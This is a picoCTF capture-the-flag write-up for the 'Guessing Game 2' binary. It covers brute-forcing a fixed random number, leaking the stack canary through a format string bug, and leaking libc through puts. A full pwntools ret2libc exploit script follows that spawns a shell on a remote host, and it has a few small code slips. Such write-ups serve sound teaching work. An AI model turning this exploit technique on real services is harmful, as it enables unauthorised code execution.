picoCTF pwn wp - Guessing Game 2

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 512


long get_random() {
	return rand;
}

int get_version() {
	return 2;
}

int do_stuff() {
	long ans = (get_random() % 4096) + 1;
	int res = 0;
	
	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);
	
	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	gets(winner);
	printf("Congrats: ");
	printf(winner);
	printf("\n\n");
}

int main(int argc, char **argv){
	setvbuf(stdout, NULL, _IONBF, 0);
	// Set the gid to the effective gid
	// this prevents /bin/sh from dropping the privileges
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	
	int res;
	
	printf("Welcome to my guessing game!\n");
	printf("Version: %x\n\n", get_version());
	
	while (1) {
		res = do_stuff();
		if (res) {
			win();
		}
	}
	
	return 0;
}

Formatting vulnerability: if canary is opened, it cannot overflow directly, but Canary can be leaked through formatting vulnerability and then overflow

Prediction is the same as guessing game 1. The seed of rand function is fixed. The random number generated each time is a fixed value. Debugging gets a fixed value

However, there is a problem when playing remote. Although the random number of the remote server is fixed, it is different from the local one, so the guess is wrong

However, looking at the source code, it is found that the random number has a range of - 4095 ~ 4096, so the random number can be found in less than 1w attempts. Moreover, the program is an infinite loop, and the random number is not reset. The random number of the remote server can be blasted to reach the vulnerability point

def bruteforce_num():
    for i in range(-4095, 4096):
        io.recvuntil("What number would you like to guess?\n")
        io.sendline(str(i))
        print(str(i))
        message = io.recv(4)
        # print(message[0], message[0] == ord('N'))
        if message[0] == ord('C'):
            print("guess number is: ", i)
            break

    return i

The offset is 6, the offset from buf to ebp is 0x20C, 131 units, and the offset from Canary to ebp is 0xC, 3 units. Therefore, the 131 + 6 - 3 = 134th parameter of the printf format string is to leak canary. If you get canary, you can overflow the stack. However, it was later found that canary is at the 135th position. It should be no problem in calculation, but there are actual differences, Maybe I don't understand anything, right

Another function of the format vulnerability is to disclose the address of the libc function, and then go to the libc library to find the corresponding libc version. Then you can find the system address and the address of the "/ bin/sh" string, construct a payload, and call system("/bin/sh") to complete the attack

The payload format of the leaked puts function is

payload = cyclic(pad) + p32(canary) + cyclic(0xc) + p32(puts_plt) + p32(ret_addr) + p32(puts_got)

puts_plt is to call the puts function_ Get is passed in as a parameter of puts, prints out the address of the puts function, and then returns to ret_ Continue to execute at addr. RET can be set here_ Addr is the address of win() function, which can repeatedly exploit stack overflow vulnerability


libc library search https://libc.nullbyte.cat/

It should be noted that the first libc may not be the correct predicted version, and multiple attempts are needed. It is best to start with the system classification, such as the Ubuntu system of i386. With an offset, you can directly call the system function under libc

from pwn import *
from pwnlib.util.cyclic import cyclic

context.log_level = "debug"
URL = "3.131.60.8"
PORT = 43578
sel = 1
io = ioess("./vuln-gg2") if sel == 0 else remote(URL, PORT)
pad = 0x200
elf = ELF("./vuln-gg2")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
win_addr = elf.functions['win'].address # 0x0804876E # elf.symbols['win']

def bruteforce_num():
    for i in range(-3984, 4096):
        io.recvuntil("What number would you like to guess?\n")
        io.sendline(str(i))
        print(str(i))
        message = io.recv(4)
        # print(message[0], message[0] == ord('N'))
        if message[0] == ord('C'):
            print("guess number is: ", i)
            break

    return i

# num = bruteforce_num()
# io.recvuntil("What number would you like to guess?\n")
# io.sendline(num)

# canary_leak = "Z" * 4 + "%x " * 30
# io.sendlineafter("Name? ", canary_leak)
# print(io.recv())

num = bruteforce_num()
io.sendlineafter("Name? ", "%135$p")
io.recvuntil("Congrats: ")
canary = int(io.recvline().decode().strip(),16)
print("leak canary = ", canary)
io.sendlineafter("What number would you like to guess?\n", str(num))

payload1 = cyclic(pad) + p32(canary) + cyclic(0xc) + p32(puts_plt) + p32(win_addr) + p32(puts_got)
io.sendlineafter("Name? ", payload1)
io.recvlines(2)
puts_addr = u32(io.recv(4))
log.success(hex(puts_addr))

sys_addr = puts_addr - 0x2a650
binsh_addr = puts_addr + 0x11442f

io.recvuntil("Name? ")
payload2 = cyclic(pad) + p32(canary) + cyclic(0xc) + p32(sys_addr) + p32(win_addr) + p32(binsh_addr)
io.sendline(payload2)
io.interactive()

Added by usefulphp on Tue, 25 Jan 2022 17:13:33 +0200